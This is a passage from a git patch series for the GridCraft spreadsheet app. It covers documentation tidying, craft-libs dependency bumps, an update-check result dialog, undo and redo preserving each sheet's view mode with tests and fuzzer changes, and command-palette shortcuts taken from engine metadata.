`consent_source`). Delete your entry to remove your names. - -## Refreshing (maintainers) - -```sh -python3 ../../craftrules/scripts/contributors.py . # regenerate + verify; needs git, Python 3.11+, gh -python3 ../../craftrules/scripts/contributors.py --check . # verify people.toml only -``` - -Commit the updated `contributors/contributors.json`. Git author names and emails are never recorded. +Names show for entries committed by their own user (or by a maintainer with a `consent_source`). +Delete your entry to remove your names. Git author names and emails are never recorded. diff --git a/docs/file-format-parity.md b/docs/file-format-parity.md index ea1cc15db..1523e9d94 100644 --- a/docs/file-format-parity.md +++ b/docs/file-format-parity.md @@ -97,7 +97,7 @@ refresh. Counted under features (Get & Transform, ~10% ready), not here. | Work | Hours | |---|---| -| Real-world XLSX corpus run (craftrules test-corpora standard), and confirm Excel opens our output with no repair prompt (owner runs Excel) | 15–25 | +| Real-world XLSX corpus run, and confirm Excel opens our output with no repair prompt (owner runs Excel) | 15–25 | | Preserve the rest of the unmodelled XLSX content (slicers, timelines, data model, table query tables, `extLst` entries); pass-through landed for the rest (#330) | 6–10 | | Streaming XLSX reader for very large files (#175), part-size limits that degrade instead of failing | 10–15 | | Legacy `.xls` (BIFF8): styles (fonts, fills, borders, alignment), comments, CF, validation, pictures and charts on import; corpus run; then write | 10–15 | diff --git a/docs/release-playbook.md b/docs/release-playbook.md deleted file mode 100644 index b563a2400..000000000 --- a/docs/release-playbook.md +++ /dev/null @@ -1,9 +0,0 @@ -# Release playbook - -The release playbook shared by every crafting app lives in craftrules: -[`../craftrules/release/playbook.md`](../../../craftrules/release/playbook.md) -(`storytold/craftrules`, `release/playbook.md`). It is the canonical copy; don't duplicate it -here. The signing runbook is next to it in `release/signing-setup.md`. - -GridCraft's copy was taken from DesignCraft (`.github/workflows/release.yml`, `packaging/`, -`cargo xtask version`). GridCraft-specific details are in [releasing.md](releasing.md). diff --git a/docs/releasing.md b/docs/releasing.md index 8e1687175..00ee84a91 100644 --- a/docs/releasing.md +++ b/docs/releasing.md @@ -5,8 +5,7 @@ signed installers for macOS, Windows, Linux, FreeBSD and the web, then creates o **draft** GitHub Release named `GridCraft v`. Nobody sees a draft until a maintainer publishes it. -This is GridCraft's implementation of the shared [release playbook](release-playbook.md) -(craftrules `release/playbook.md`), copied from DesignCraft and renamed. User-facing names say +This process was copied from DesignCraft and renamed. User-facing names say **GridCraft**. Files, binaries and ids stay lowercase (`gridcraft---.`, `ai.storyteller.gridcraft`). @@ -223,7 +222,7 @@ shows a `::warning::`. Never store these as org- or repo-level Actions secrets ( `GITHUB_TOKEN` creates the release; only the final job gets `contents: write`. -The exact commands (from craftrules `release/signing-setup.md`, steps 1–3), run by an org +The repository setup commands, run by an org admin. Done for storytold/gridcraft on 2026-10-07; the `release-managers` team also has write access to the repo, which its ruleset bypass needs. @@ -273,8 +272,7 @@ the publisher. ## Icons `assets/app-icon/gridcraft.svg` is a **placeholder** (an original ledger-page drawing on -GridCraft green) until the owner makes GridCraft's engraved creature portrait (craftrules -`standards/icon-design.md`). `packaging/icons.sh` regenerates the 1024 px PNG, the macOS 512 px +GridCraft green) until the owner makes GridCraft's engraved creature portrait. `packaging/icons.sh` regenerates the 1024 px PNG, the macOS 512 px PNG, the `.icns` (iconutil), the `.ico` (`cargo xtask ico`) and the hicolor PNGs from it; it needs `resvg`. The outputs are committed, so packaging never needs those tools. Every file has a row in `ATTRIBUTION.md` (`cargo xtask assets`). From 23299040243400e7b8420be08aee800226a14635 Mon Sep 17 00:00:00 2001 From: aiongg Date: Sat, 31 Oct 2026 04:25:43 +0000 Subject: [PATCH 123/298] docs: tidy wording --- ROADMAP.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/ROADMAP.md b/ROADMAP.md index 887df3f0c..40652c341 100644 --- a/ROADMAP.md +++ b/ROADMAP.md @@ -296,5 +296,5 @@ Ranked; estimates in Opus 5.5 agent-hours. Detail and the full beta-gate list in | 2026-10-10 | minor | Readiness-by-audience table with hours to ~95% per audience; full number unchanged (additive weighted sum) | | 2026-10-10 | minor | Added Mainstream practitioner (~50%) and Essentials user (~63%); languages updated for the 10-10 merges (ribbon in ja, zh, ko, pt-BR, ru); localization 5%→10%; full number re-checked (51.6, unchanged) | | 2026-10-10 | minor | Checked against the alpha gate (six core workflows pass): stays alpha | -| 2026-10-10 | major | Re-measured against Excel for Mac 16.113.4: stage alpha, breadth ~75%, ready ~50%, ~160–240 h to beta, ~700–1,100 h to full parity; restructured to the progress-docs standard; detail moved to `docs/` | +| 2026-10-10 | major | Re-measured against Excel for Mac 16.113.4: stage alpha, breadth ~75%, ready ~50%, ~160–240 h to beta, ~700–1,100 h to full parity; progress docs restructured; detail moved to `docs/` | | 2026-10-07 | major | First estimates: catalog 89%, functions ~93%, depth ~65%, ~35 h to alpha, ~215 h to full parity | From 79722c76666055bb662ab64a3335ff91568833e5 Mon Sep 17 00:00:00 2001 From: aiongg Date: Sat, 31 Oct 2026 04:42:26 +0000 Subject: [PATCH 124/298] updates: show check results with craft-update's CheckResultDialog --- Cargo.lock | 29 +++++++++++++++-------------- Cargo.toml | 4 ++-- apps/gridcraft/Cargo.toml | 2 +- crates/ui-egui/Cargo.toml | 2 +- crates/ui-egui/src/updates_ui.rs | 29 +++++++++++++++++++---------- 5 files changed, 38 insertions(+), 28 deletions(-) diff --git a/Cargo.lock b/Cargo.lock index c72e9ef2b..5da7c781d 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -220,7 +220,7 @@ dependencies = [ "objc2-foundation 0.3.2", "parking_lot", "percent-encoding", - "windows-sys 0.61.2", + "windows-sys 0.59.0", "wl-clipboard-rs", "x11rb", ] @@ -889,12 +889,12 @@ dependencies = [ [[package]] name = "craft-fonts-build" version = "0.1.0" -source = "git+https://github.com/storytold/craft-libs?rev=92d392cff132eaf53e13afff77f38b5c11b73aa0#92d392cff132eaf53e13afff77f38b5c11b73aa0" +source = "git+https://github.com/storytold/craft-libs?rev=c5a1cbfb5f9049f9270955caffb5bee5997aebf7#c5a1cbfb5f9049f9270955caffb5bee5997aebf7" [[package]] name = "craft-i18n" version = "0.1.0" -source = "git+https://github.com/storytold/craft-libs?rev=92d392cff132eaf53e13afff77f38b5c11b73aa0#92d392cff132eaf53e13afff77f38b5c11b73aa0" +source = "git+https://github.com/storytold/craft-libs?rev=c5a1cbfb5f9049f9270955caffb5bee5997aebf7#c5a1cbfb5f9049f9270955caffb5bee5997aebf7" dependencies = [ "fixed_decimal", "icu_decimal", @@ -917,9 +917,10 @@ dependencies = [ [[package]] name = "craft-print" version = "0.1.0" -source = "git+https://github.com/storytold/craft-libs?rev=92d392cff132eaf53e13afff77f38b5c11b73aa0#92d392cff132eaf53e13afff77f38b5c11b73aa0" +source = "git+https://github.com/storytold/craft-libs?rev=c5a1cbfb5f9049f9270955caffb5bee5997aebf7#c5a1cbfb5f9049f9270955caffb5bee5997aebf7" dependencies = [ "craft-winprint-gdi", + "log", "miniz_oxide 0.9.1", "roxmltree", "tempfile", @@ -930,7 +931,7 @@ dependencies = [ [[package]] name = "craft-ui" version = "0.1.0" -source = "git+https://github.com/storytold/craft-libs?rev=92d392cff132eaf53e13afff77f38b5c11b73aa0#92d392cff132eaf53e13afff77f38b5c11b73aa0" +source = "git+https://github.com/storytold/craft-libs?rev=c5a1cbfb5f9049f9270955caffb5bee5997aebf7#c5a1cbfb5f9049f9270955caffb5bee5997aebf7" dependencies = [ "craft-fonts-build", "craft-i18n", @@ -950,7 +951,7 @@ dependencies = [ [[package]] name = "craft-update" version = "0.1.0" -source = "git+https://github.com/storytold/craft-libs?rev=04aa1703b32d299e54f78fcde4182f2b393a9116#04aa1703b32d299e54f78fcde4182f2b393a9116" +source = "git+https://github.com/storytold/craft-libs?rev=c5a1cbfb5f9049f9270955caffb5bee5997aebf7#c5a1cbfb5f9049f9270955caffb5bee5997aebf7" dependencies = [ "chrono", "dunce", @@ -976,7 +977,7 @@ dependencies = [ [[package]] name = "craft-window" version = "0.1.0" -source = "git+https://github.com/storytold/craft-libs?rev=92d392cff132eaf53e13afff77f38b5c11b73aa0#92d392cff132eaf53e13afff77f38b5c11b73aa0" +source = "git+https://github.com/storytold/craft-libs?rev=c5a1cbfb5f9049f9270955caffb5bee5997aebf7#c5a1cbfb5f9049f9270955caffb5bee5997aebf7" dependencies = [ "egui", "objc2 0.6.5", @@ -1456,7 +1457,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "39cab71617ae0d63f51a36d69f866391735b51691dbda63cf6f96d042b63efeb" dependencies = [ "libc", - "windows-sys 0.61.2", + "windows-sys 0.59.0", ] [[package]] @@ -3461,7 +3462,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "7d8fae84b431384b68627d0f9b3b1245fcf9f46f6c0e3dc902e9dce64edd1967" dependencies = [ "libc", - "windows-sys 0.61.2", + "windows-sys 0.59.0", ] [[package]] @@ -3875,7 +3876,7 @@ dependencies = [ "once_cell", "socket2", "tracing", - "windows-sys 0.61.2", + "windows-sys 0.59.0", ] [[package]] @@ -4185,7 +4186,7 @@ dependencies = [ "errno", "libc", "linux-raw-sys 0.12.1", - "windows-sys 0.61.2", + "windows-sys 0.59.0", ] [[package]] @@ -4244,7 +4245,7 @@ dependencies = [ "security-framework", "security-framework-sys", "webpki-root-certs", - "windows-sys 0.61.2", + "windows-sys 0.59.0", ] [[package]] @@ -4978,7 +4979,7 @@ dependencies = [ "getrandom 0.4.3", "once_cell", "rustix 1.1.5", - "windows-sys 0.61.2", + "windows-sys 0.59.0", ] [[package]] @@ -5937,7 +5938,7 @@ version = "0.1.11" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "c2a7b1c03c876122aa43f3020e6c3c3ee5c05081c9a00739faf7503aeba10d22" dependencies = [ - "windows-sys 0.61.2", + "windows-sys 0.59.0", ] [[package]] diff --git a/Cargo.toml b/Cargo.toml index 9594d48ff..a43312950 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -27,7 +27,7 @@ gridcraft-pdf = { path = "crates/pdf" } # Every craft-libs crate (craft-update and craft-window here, craft-ui in ui-egui, craft-print in # the app) comes from one storytold/craft-libs revision. # craft-update: app-specific pretend versions apply to startup and manual checks. -craft-update = { git = "https://github.com/storytold/craft-libs", rev = "04aa1703b32d299e54f78fcde4182f2b393a9116", version = "=0.1.0", features = ["egui"] } +craft-update = { git = "https://github.com/storytold/craft-libs", rev = "c5a1cbfb5f9049f9270955caffb5bee5997aebf7", version = "=0.1.0", features = ["egui"] } # foundation thiserror = "2" @@ -63,7 +63,7 @@ skrifa = { version = "0.44", default-features = false, features = ["std"] } epaint_default_fonts = "0.37" # One native window per workbook: the window list, Window menu titles and the immediate-viewport # driver. Same craft-libs revision as craft-update above. -craft-window = { version = "0.1.0", git = "https://github.com/storytold/craft-libs", rev = "92d392cff132eaf53e13afff77f38b5c11b73aa0", default-features = false, features = ["egui"] } +craft-window = { version = "0.1.0", git = "https://github.com/storytold/craft-libs", rev = "c5a1cbfb5f9049f9270955caffb5bee5997aebf7", default-features = false, features = ["egui"] } [workspace.lints.rust] unsafe_code = "forbid" diff --git a/apps/gridcraft/Cargo.toml b/apps/gridcraft/Cargo.toml index 2ec400cd6..e5ad73da4 100644 --- a/apps/gridcraft/Cargo.toml +++ b/apps/gridcraft/Cargo.toml @@ -30,7 +30,7 @@ winit = { version = "0.30", default-features = false, features = ["x11"] } [target.'cfg(not(target_arch = "wasm32"))'.dependencies] # Same craft-libs revision as the workspace's craft-update and craft-window (see the root # Cargo.toml). -craft-print = { git = "https://github.com/storytold/craft-libs", rev = "92d392cff132eaf53e13afff77f38b5c11b73aa0" } +craft-print = { git = "https://github.com/storytold/craft-libs", rev = "c5a1cbfb5f9049f9270955caffb5bee5997aebf7" } craft-update = { workspace = true } rfd = { workspace = true } arboard = { workspace = true } diff --git a/crates/ui-egui/Cargo.toml b/crates/ui-egui/Cargo.toml index b9cddcb90..297f7bab9 100644 --- a/crates/ui-egui/Cargo.toml +++ b/crates/ui-egui/Cargo.toml @@ -11,7 +11,7 @@ workspace = true [dependencies] # The shared capture slot (`craft_ui::capture`) comes from the one craft-libs revision every # craft-libs dependency uses (see the root Cargo.toml). -craft-ui = { git = "https://github.com/storytold/craft-libs", rev = "92d392cff132eaf53e13afff77f38b5c11b73aa0" } +craft-ui = { git = "https://github.com/storytold/craft-libs", rev = "c5a1cbfb5f9049f9270955caffb5bee5997aebf7" } gridcraft-engine = { workspace = true } gridcraft-chart = { workspace = true } # `monochrome_emoji_fonts` restores the Noto Emoji and emoji-icon faces that 0.37 moved behind diff --git a/crates/ui-egui/src/updates_ui.rs b/crates/ui-egui/src/updates_ui.rs index b74151063..2553fbbc7 100644 --- a/crates/ui-egui/src/updates_ui.rs +++ b/crates/ui-egui/src/updates_ui.rs @@ -2,6 +2,7 @@ //! offers the new release: Update and Restart (direct self-update), Download or Later. The flow //! itself is `craft_update::updater::Updater`. +use craft_update::CheckResultResponse; use craft_update::updater::{Action, Status, Updater}; use crate::SheetApp; @@ -14,11 +15,13 @@ pub(crate) struct Runtime { startup: bool, /// Help ▸ Check for Updates… was chosen; the next `tick` starts it. manual: bool, + /// The result dialog of a requested check is showing. + result_open: bool, } impl Default for Runtime { fn default() -> Self { - Self { updater: Updater::new(&crate::UPDATE_APP, VERSION), startup: false, manual: false } + Self { updater: Updater::new(&crate::UPDATE_APP, VERSION), startup: false, manual: false, result_open: false } } } @@ -35,19 +38,14 @@ pub(crate) fn tick(app: &mut SheetApp, ctx: &egui::Context) { let rt = &mut app.updates_rt; if std::mem::take(&mut rt.manual) { rt.updater.check_now(ctx); + rt.result_open = true; } else if rt.startup { rt.updater.check_at_start(ctx); } rt.updater.tick(ctx); - let lang = app.ui.language; - let outcome = match rt.updater.status() { - Status::UpToDate => Some(lang.tr("GridCraft {version} is up to date.").replace("{version}", VERSION)), - Status::Failed(e) => Some(lang.tr("Could not check for updates: {error}").replace("{error}", e)), - Status::Idle | Status::Checking => None, - }; - if let Some(message) = outcome { - rt.updater.dismiss_status(); - app.message = Some(("GridCraft".into(), message)); + // A requested check that found a release leaves the status idle and the prompt opens. + if matches!(rt.updater.status(), Status::Idle) { + rt.result_open = false; } } @@ -65,4 +63,15 @@ pub(crate) fn show(app: &mut SheetApp, ctx: &egui::Context) { Action::Close => ctx.send_viewport_cmd(egui::ViewportCommand::Close), Action::None => {} } + if app.updates_rt.result_open { + let rt = &mut app.updates_rt; + match craft_update::CheckResultDialog::new(&crate::UPDATE_APP, VERSION).show(ctx, rt.updater.status()) { + CheckResultResponse::Close => { + rt.updater.dismiss_status(); + rt.result_open = false; + } + CheckResultResponse::CheckAgain => rt.updater.check_now(ctx), + CheckResultResponse::None => {} + } + } } From 1dcff1742f216e286fbae1afed546ae4392f981f Mon Sep 17 00:00:00 2001 From: prxnvt <53838599+prxnvt@users.noreply.github.com> Date: Sun, 25 Oct 2026 18:21:13 -0400 Subject: [PATCH 125/298] Undo and redo keep each sheet's view (Normal, Page Layout, Page Break Preview) A sheet's view is not an undo step: Excel doesn't undo a switch between Normal, Page Layout and Page Break Preview, and view.normal, view.pageLayout and view.pageBreakPreview are noundo here. But undo and redo swap in a whole snapshot of the workbook, so undoing an earlier edit put back the view the sheet had then: set A1, switch to Page Break Preview, undo, and the sheet was in Normal again (redo switched it back). Undo and redo now keep each sheet's current view (extra::keep_view_modes), as they already keep the Watch Window list, carrying it through each step of a multi-step undo or redo. Sheets are matched by name; while a rename is undone or redone, by position under the name the restored snapshot doesn't have. A view kept this way doesn't make a saved workbook dirty, as set_view doesn't. Tests: undo and redo with each view, undoing a rename and a new sheet, a rename and a new sheet undone and redone with steps: 2, and redo back to the saved state staying clean. Each fails without the change (the view reverted to Normal). --- crates/engine/src/cmd/edit.rs | 3 ++ crates/engine/src/cmd/extra.rs | 2 +- crates/engine/src/cmd/extra/window.rs | 29 +++++++++++ crates/engine/src/tests.rs | 69 +++++++++++++++++++++++++++ 4 files changed, 102 insertions(+), 1 deletion(-) diff --git a/crates/engine/src/cmd/edit.rs b/crates/engine/src/cmd/edit.rs index 27e217474..ba3bf8ac4 100644 --- a/crates/engine/src/cmd/edit.rs +++ b/crates/engine/src/cmd/edit.rs @@ -183,6 +183,8 @@ fn undo(s: &mut Session, p: &Json) -> Result { label = e.label.clone(); d.wb = e.wb; d.selection = e.selection; + // Step by step: a rename and a new sheet undone together match up only one step apart. + super::extra::keep_view_modes(d, &cur_wb); crate::push_history(&mut d.redo, label.clone(), cur_wb, &d.wb, cur_selection); } super::extra::keep_watch_list(&now, &mut d.wb); @@ -203,6 +205,7 @@ fn redo(s: &mut Session, p: &Json) -> Result { label = e.label.clone(); d.wb = e.wb; d.selection = e.selection; + super::extra::keep_view_modes(d, &cur_wb); crate::push_history(&mut d.undo, label.clone(), cur_wb, &d.wb, cur_selection); } super::extra::keep_watch_list(&now, &mut d.wb); diff --git a/crates/engine/src/cmd/extra.rs b/crates/engine/src/cmd/extra.rs index c9a1582a2..70640bf27 100644 --- a/crates/engine/src/cmd/extra.rs +++ b/crates/engine/src/cmd/extra.rs @@ -28,7 +28,7 @@ use objects::{align, arrange, rotate, selection_pane, shape_fill, shape_outline} pub(crate) use scripts::has_scripts; use scripts::{all_scripts, delete_script, new_script, record, run_script, stop_action, trust_scripts}; use window::{arrange_all, custom_views, hide_window, new_window, ruler, set_view, split, switch_windows, unhide_window, watch_window}; -pub(crate) use window::{keep_watch_list, window_param}; +pub(crate) use window::{keep_view_modes, keep_watch_list, window_param}; pub fn specs() -> Vec { vec![ diff --git a/crates/engine/src/cmd/extra/window.rs b/crates/engine/src/cmd/extra/window.rs index b20a00a61..b8129805f 100644 --- a/crates/engine/src/cmd/extra/window.rs +++ b/crates/engine/src/cmd/extra/window.rs @@ -38,6 +38,35 @@ pub(crate) fn keep_watch_list(from: &Workbook, to: &mut std::sync::Arc wb.names.extend(keep); } +/// Normal, Page Layout and Page Break Preview belong to the window, not to the edits: Excel doesn't +/// undo a switch between them, and `set_view` is no undo step. So undo and redo keep each sheet's +/// current view when they swap in another snapshot of the workbook, and a view kept this way +/// doesn't make a saved workbook dirty. +pub(crate) fn keep_view_modes(d: &mut crate::DocState, now: &Workbook) { + // Sheets have no stable id. A name missing from `now` is a rename being undone or redone, which + // keeps the sheet count and position: the sheet is the one at the same index, under a name the + // restored snapshot doesn't have. + let renamed = |i: usize| { + (now.sheets.len() == d.wb.sheets.len()).then(|| now.sheets.get(i)).flatten().filter(|sh| !d.wb.sheets.iter().any(|s| s.name == sh.name)) + }; + let current = |i: usize, name: &str| now.sheets.iter().find(|sh| sh.name == name).or_else(|| renamed(i)).map(|sh| sh.view); + let changed: Vec<(usize, SheetViewMode)> = + d.wb.sheets.iter().enumerate().filter_map(|(i, sh)| current(i, &sh.name).filter(|v| *v != sh.view).map(|v| (i, v))).collect(); + if changed.is_empty() { + return; + } + let dirty = d.is_dirty(); + let wb = std::sync::Arc::make_mut(&mut d.wb); + for (i, v) in changed { + if let Some(sh) = wb.sheet_mut(i) { + sh.view = v; + } + } + if !dirty { + d.saved = d.wb.clone(); + } +} + pub(super) fn custom_views(s: &mut Session, p: &Json) -> Result { let d = s.doc()?; let mut views = stash_map(&d.wb, VIEWS_NAME); diff --git a/crates/engine/src/tests.rs b/crates/engine/src/tests.rs index f99f246df..b99e01248 100644 --- a/crates/engine/src/tests.rs +++ b/crates/engine/src/tests.rs @@ -5234,3 +5234,72 @@ fn unique_nonce() -> u64 { static N: std::sync::atomic::AtomicU64 = std::sync::atomic::AtomicU64::new(0); N.fetch_add(1, std::sync::atomic::Ordering::Relaxed) } + +/// Normal, Page Layout and Page Break Preview are not undo steps (as in Excel), so undoing or +/// redoing an edit keeps each sheet in the view it is in now, instead of putting back the view +/// of the snapshot it swaps in. Found through the command-sequence fuzz (seed 177). +#[test] +fn undo_and_redo_keep_each_sheets_view() { + use gridcraft_model::SheetViewMode; + let view = |s: &Session, i: usize| s.doc().unwrap().wb.sheet(i).unwrap().view; + let mut s = s(); + s.execute("cell.set", json!({"cell": "A1", "input": "1"})).unwrap(); + s.execute("view.pageBreakPreview", json!({})).unwrap(); + s.execute("edit.undo", json!({})).unwrap(); + assert_eq!(v(&s, "A1"), Value::Empty); + assert_eq!(view(&s, 0), SheetViewMode::PageBreakPreview, "undo leaves the view alone"); + s.execute("view.pageLayout", json!({})).unwrap(); + s.execute("edit.redo", json!({})).unwrap(); + assert_eq!(v(&s, "A1"), Value::Number(1.0)); + assert_eq!(view(&s, 0), SheetViewMode::PageLayout, "redo leaves the view alone"); + + // Undoing a rename: the sheet is found at its position under the restored name. + s.execute("sheet.rename", json!({"sheet": 0, "name": "Renamed"})).unwrap(); + s.execute("view.normal", json!({})).unwrap(); + s.execute("edit.undo", json!({})).unwrap(); + assert_ne!(s.doc().unwrap().wb.sheet(0).unwrap().name, "Renamed"); + assert_eq!(view(&s, 0), SheetViewMode::Normal); + + // Undoing a new sheet: the other sheets keep theirs. + s.execute("view.pageBreakPreview", json!({})).unwrap(); + s.execute("home.insertSheet", json!({"name": "Extra"})).unwrap(); + s.execute("edit.undo", json!({})).unwrap(); + assert_eq!(s.doc().unwrap().wb.sheets.len(), 1); + assert_eq!(view(&s, 0), SheetViewMode::PageBreakPreview); +} + +#[test] +fn a_multi_step_undo_keeps_views_through_each_step() { + // A rename and a new sheet undone in one call: neither the name nor the sheet count matches + // between the first and last workbook, so the view is carried step by step. + let mut s = s(); + let first = s.doc().unwrap().wb.sheet(0).unwrap().name.clone(); + s.execute("sheet.rename", json!({"sheet": 0, "name": "Renamed"})).unwrap(); + s.execute("view.pageBreakPreview", json!({"sheet": 0})).unwrap(); + s.execute("home.insertSheet", json!({"name": "Extra"})).unwrap(); + s.execute("edit.undo", json!({"steps": 2})).unwrap(); + let d = s.doc().unwrap(); + assert_eq!(d.wb.sheets.len(), 1); + assert_eq!(d.wb.sheet(0).unwrap().name, first); + assert_eq!(d.wb.sheet(0).unwrap().view, gridcraft_model::SheetViewMode::PageBreakPreview); + s.execute("edit.redo", json!({"steps": 2})).unwrap(); + let d = s.doc().unwrap(); + assert_eq!((d.wb.sheets.len(), d.wb.sheet(0).unwrap().name.as_str()), (2, "Renamed")); + assert_eq!(d.wb.sheet(0).unwrap().view, gridcraft_model::SheetViewMode::PageBreakPreview); +} + +#[test] +fn a_view_kept_through_redo_doesnt_make_the_saved_workbook_dirty() { + let mut s = s(); + s.execute("cell.set", json!({"cell": "A1", "input": "1"})).unwrap(); + { + let d = s.doc_mut().unwrap(); + d.saved = d.wb.clone(); + } + s.execute("edit.undo", json!({})).unwrap(); + s.execute("view.pageBreakPreview", json!({})).unwrap(); + s.execute("edit.redo", json!({})).unwrap(); + let d = s.doc().unwrap(); + assert_eq!(d.wb.active().unwrap().view, gridcraft_model::SheetViewMode::PageBreakPreview); + assert!(!d.is_dirty(), "back at the saved edits, the view alone isn't a change"); +} From 8c0c2fc64bb5633c7079e8362b926deae2cbfcd9 Mon Sep 17 00:00:00 2001 From: prxnvt <53838599+prxnvt@users.noreply.github.com> Date: Sun, 25 Oct 2026 13:51:01 -0400 Subject: [PATCH 126/298] Fuzzer: switching Normal, Page Layout or Page Break Preview isn't an undo difference The view commands are not undo steps and don't mark the workbook changed (as in Excel), so undoing everything leaves a sheet's view mode as it is. The undo check now resets the view mode with the other view state before comparing. Seed 177 (`view.pageBreakPreview` on the sales sample) failed the [undo] invariant without this. --- .../engine/tests/it/command_sequence_fuzz.rs | 18 +++++++++++++++--- 1 file changed, 15 insertions(+), 3 deletions(-) diff --git a/crates/engine/tests/it/command_sequence_fuzz.rs b/crates/engine/tests/it/command_sequence_fuzz.rs index 21a856c75..3427b9177 100644 --- a/crates/engine/tests/it/command_sequence_fuzz.rs +++ b/crates/engine/tests/it/command_sequence_fuzz.rs @@ -34,7 +34,7 @@ use std::sync::Arc; use gridcraft_core::{CellRef, MAX_COLS, MAX_ROWS, RangeRef, Value, col_to_letters}; use gridcraft_engine::calc::Calc; -use gridcraft_engine::model::{CalcMode, Formula, Sheet, Workbook}; +use gridcraft_engine::model::{CalcMode, Formula, Sheet, SheetViewMode, Workbook}; use gridcraft_engine::{EngineError, Session, command_specs, find_command, io}; use serde_json::{Value as Json, json}; @@ -486,8 +486,9 @@ fn watch_list(wb: &Workbook) -> Option<&str> { wb.names.iter().find(|n| n.name == WATCH_NAME).map(|n| n.formula.as_str()) } -/// The workbook with view state (active sheet, scroll, active cell) and the Watch Window list -/// reset: undo restores view state as it was, but switching sheets isn't an undoable edit. +/// The workbook with view state (active sheet, scroll, active cell, Normal / Page Layout / Page +/// Break Preview) and the Watch Window list reset: undo restores view state as it was, but +/// switching sheets or views isn't an undoable edit. fn canonical(wb: &Workbook) -> Workbook { let mut wb = wb.clone(); wb.set_active_sheet(0); @@ -496,6 +497,7 @@ fn canonical(wb: &Workbook) -> Workbook { let sh = Arc::make_mut(sh); sh.view_active = CellRef::default(); sh.view_top_left = CellRef::default(); + sh.view = SheetViewMode::Normal; } wb } @@ -1089,3 +1091,13 @@ fn params_docs_parse_into_keys() { assert!(find_command(id).is_some(), "CURATED names unknown command `{id}`"); } } + +/// Seed 177: switching a sheet to Page Break Preview isn't an undo step (as in Excel), so undoing +/// everything leaves the view mode alone and the undo check must not count it as an edit. +#[test] +fn view_mode_switch_is_not_an_undo_difference() { + for id in ["view.pageBreakPreview", "view.pageLayout"] { + let failure = replay("sales", &[(id.to_string(), json!({"sheet": 0}))]); + assert!(failure.is_none(), "`{id}`: {failure:?}"); + } +} From e675efd307df41a77b383f7df6c967f58b83e6e7 Mon Sep 17 00:00:00 2001 From: AnhNgoo <110978888+AnhNgoo@users.noreply.github.com> Date: Sat, 31 Oct 2026 13:46:01 +0700 Subject: [PATCH 127/298] fix(ui): source command palette shortcuts from engine metadata --- crates/ui-egui/src/dialogs/command_search.rs | 7 +- crates/ui-egui/src/widgets.rs | 83 ++++------ crates/ui-egui/tests/it/dialog_focus.rs | 153 +++++-------------- 3 files changed, 70 insertions(+), 173 deletions(-) diff --git a/crates/ui-egui/src/dialogs/command_search.rs b/crates/ui-egui/src/dialogs/command_search.rs index 81fa581e4..96e17336f 100644 --- a/crates/ui-egui/src/dialogs/command_search.rs +++ b/crates/ui-egui/src/dialogs/command_search.rs @@ -1,6 +1,6 @@ use super::*; -/// Shows enabled commands and their platform-specific keyboard shortcuts. +/// Shows enabled commands and their shortcuts from engine metadata. pub(super) fn command_search(app: &mut SheetApp, ui: &mut egui::Ui, d: &mut Dialog, confirm: &mut bool) { let (down, up, home, end, pgup, pgdn) = ui.input_mut(|i| { ( @@ -20,15 +20,14 @@ pub(super) fn command_search(app: &mut SheetApp, ui: &mut egui::Ui, d: &mut Dial d.focus_initialized = true; } - let mac = ui.ctx().os() == egui::os::OperatingSystem::Mac; let q = d.search.to_ascii_lowercase(); - let cmds: Vec<(String, String, String, Option<&str>)> = app + let cmds: Vec<(String, String, String, Option)> = app .session .commands() .into_iter() .filter(|c| c.enabled) .filter(|c| q.is_empty() || c.label.to_ascii_lowercase().contains(&q) || c.id.to_ascii_lowercase().contains(&q)) - .map(|c| (c.id.to_string(), c.label.to_string(), c.menu.join(" › "), crate::widgets::command_shortcut(c.id, mac))) + .map(|c| (c.id.to_string(), c.label.to_string(), c.menu.join(" › "), c.shortcut.map(str::to_string))) .take(40) .collect(); diff --git a/crates/ui-egui/src/widgets.rs b/crates/ui-egui/src/widgets.rs index a43784930..2b2f40e95 100644 --- a/crates/ui-egui/src/widgets.rs +++ b/crates/ui-egui/src/widgets.rs @@ -15,54 +15,33 @@ fn tr<'a>(ui: &Ui, text: &'a str) -> &'a str { i18n::current(ui.ctx()).tr(text) } -/// Verified shortcut labels shared by Ribbon tooltips and Command Palette. -/// Each entry is (command ID, optional Ribbon tooltip, macOS keys, other OS keys). -/// The dialog ID is included because Insert Link opens a UI dialog directly. -const SHORTCUTS: &[(&str, &str, &str, Option<&str>)] = &[ - ("file.new", "", "⌘N", Some("Ctrl+N")), - ("file.open", "", "⌘O", Some("Ctrl+O")), - ("file.save", "Save", "⌘S", Some("Ctrl+S")), - ("file.saveAs", "", "⌘⇧S", Some("Ctrl+Shift+S")), - ("file.close", "", "⌘W", Some("Ctrl+W")), - ("edit.copy", "Copy", "⌘C", Some("Ctrl+C")), - ("edit.cut", "Cut", "⌘X", Some("Ctrl+X")), - ("edit.paste", "Paste", "⌘V", Some("Ctrl+V")), - ("edit.undo", "Undo", "⌘Z", Some("Ctrl+Z")), - ("edit.redo", "Redo", "⌘Y", Some("Ctrl+Y")), - ("edit.selectAll", "", "⌘A", Some("Ctrl+A")), - ("edit.fillDown", "", "⌘D", Some("Ctrl+D")), - ("edit.fillRight", "", "⌘R", Some("Ctrl+R")), - ("home.bold", "Bold", "⌘B", Some("Ctrl+B")), - ("home.italic", "Italic", "⌘I", Some("Ctrl+I")), - ("home.underline", "Underline", "⌘U", Some("Ctrl+U")), - ("formulas.autoSum", "AutoSum", "⌘⇧T", Some("Alt+=")), - ("insert.table", "Table", "⌘T", Some("Ctrl+T")), - ("dialog:insertLink", "Insert Link", "⌘K", Some("Ctrl+K")), - ("data.filter", "Filter", "⌘⇧F", Some("Ctrl+Shift+L")), - ("edit.flashFill", "Flash Fill", "Control+E", Some("Ctrl+E")), - ("edit.pasteSpecial", "", "Ctrl+Cmd+V", Some("Ctrl+Alt+V")), - ("home.alignLeft", "", "⌘L", None), - ("home.alignCenter", "", "⌘E", None), - ("selection.row", "", "Shift+Space", Some("Shift+Space")), - ("selection.currentRegion", "", "Control+Shift+8", Some("Ctrl+Shift+8")), - ("selection.column", "", "Control+Space", Some("Ctrl+Space")), - ("view.showObjects", "", "Control+6", Some("Ctrl+6")), - ("formulas.showFormulas", "Show Formulas", 